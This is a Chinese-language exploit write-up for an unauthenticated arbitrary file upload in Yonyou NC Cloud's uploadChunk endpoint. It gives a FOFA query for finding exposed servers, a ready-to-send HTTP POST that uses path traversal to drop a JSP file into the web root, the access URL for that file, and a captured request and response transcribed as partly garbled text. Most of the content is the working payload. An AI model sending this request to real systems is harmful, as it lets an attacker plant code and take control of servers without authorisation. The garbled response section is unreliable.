# Y4-81用友-NC-文件上传

#### 漏洞描述:

用友NC Cloud大型企业数字化平台,深度应用新一代数字智能技术,基于云原生架构,打造开放、互联、融合、智能的一体化云平台,聚焦数智化管理、数智化经营、数智化商业等三大企业数智化转型战略方向,提供涵盖数字营销、财务共享、全球司库、智能制造、敏捷供应链、人才管理、智慧协同等18大解决方案,帮助大型企业落地数智化。用友NC Cloud uploadChunk**存在任意文件上传漏洞**,<u>未经授权</u>的攻击者通过漏洞可以上传任意文件,获取服务器权限。

#### 网站图片:

## **NCCloud**



#### 网络测绘:

#### fofa语法:

app="用友-NC-Cloud"

### 漏洞复现:

## payload:

POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../nccloud/&chunk=1&chunks=1 HTTP/1.1
Host: (Hostname):port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept-Encoding: gzip, deflate\*-bd966ad8118cfcc67ee341272f2900c4
Content-Disposition: form-data;

name="file"; filename="ncchr\_log.jsp"
<%out.println("12345678");%>
--bd966ad8118cfcc67ee341272f2900c4--

### 效果图:

```
\textbf{POST}^{,}/\text{ncchr/pm/fb/attachment/uploadChunk?} \textbf{fileGuid=}/\ldots/\ldots/
                                                                                     HTTP/1.1-200
nccloud/&chunk=1&chunks=1 HTTP/1.1
                                                                                      Server: nginx
Host 2: 155
                                                                                     Date: Sun, 10 Dec 2023 11:43:48 GMT
Cookie: route=4477e7ff55d052377a1d707534723e86:
                                                                                     Connection: close
JSESSIONID=1E07FDA2A72BA221F0B1DB2D51E0382D
                                                                                     Vary: Accept-Encoding
Upgrade-Insecure-Requests: 1
                                                                                     Access-Control-Allow-Origin: *
User-Agent: Mozilla/5.0 (Windows NT-10.0; Win64; x64; rv:120.0)
                                                                                     Access-Control-Allow-Origin: *
Gecko/20100101 Firefox/120.0
                                                                                     Content-Type: text/html: charset=utf-8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
                                                                                     Access-Control-Allow-Methods: **
image/avif, image/webp, */*; q=0.8
                                                                               10
                                                                                     Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Aliv
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;
                                                                               11
                                                                                     User-Agent, X-Requested-With, If-Modified-Since,
q=0.3,en;q=0.2
\textbf{Accept-Encoding:} \cdot \texttt{gzip,} \cdot \texttt{deflate}
                                                                                     Cache-Control, Content-Type, Authorization
                                                                               12
Connection: close
accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
{\tt eyJ1c2VyaWQi0iIxIn0.F5qVK-ZZEgu3Wj1zIANk2JXwF49K5cBruYMnI0xIt0Q}
                                                                               14
                                                                                     {"message":"操作成功!","i18nCode":"pm.i18n_core.comm.008"
Content-Length auto: 174
                                                                                      "params":[]}
```

访问: http://Hostname:port/nccloud/ncchr\_log.jsp.jsp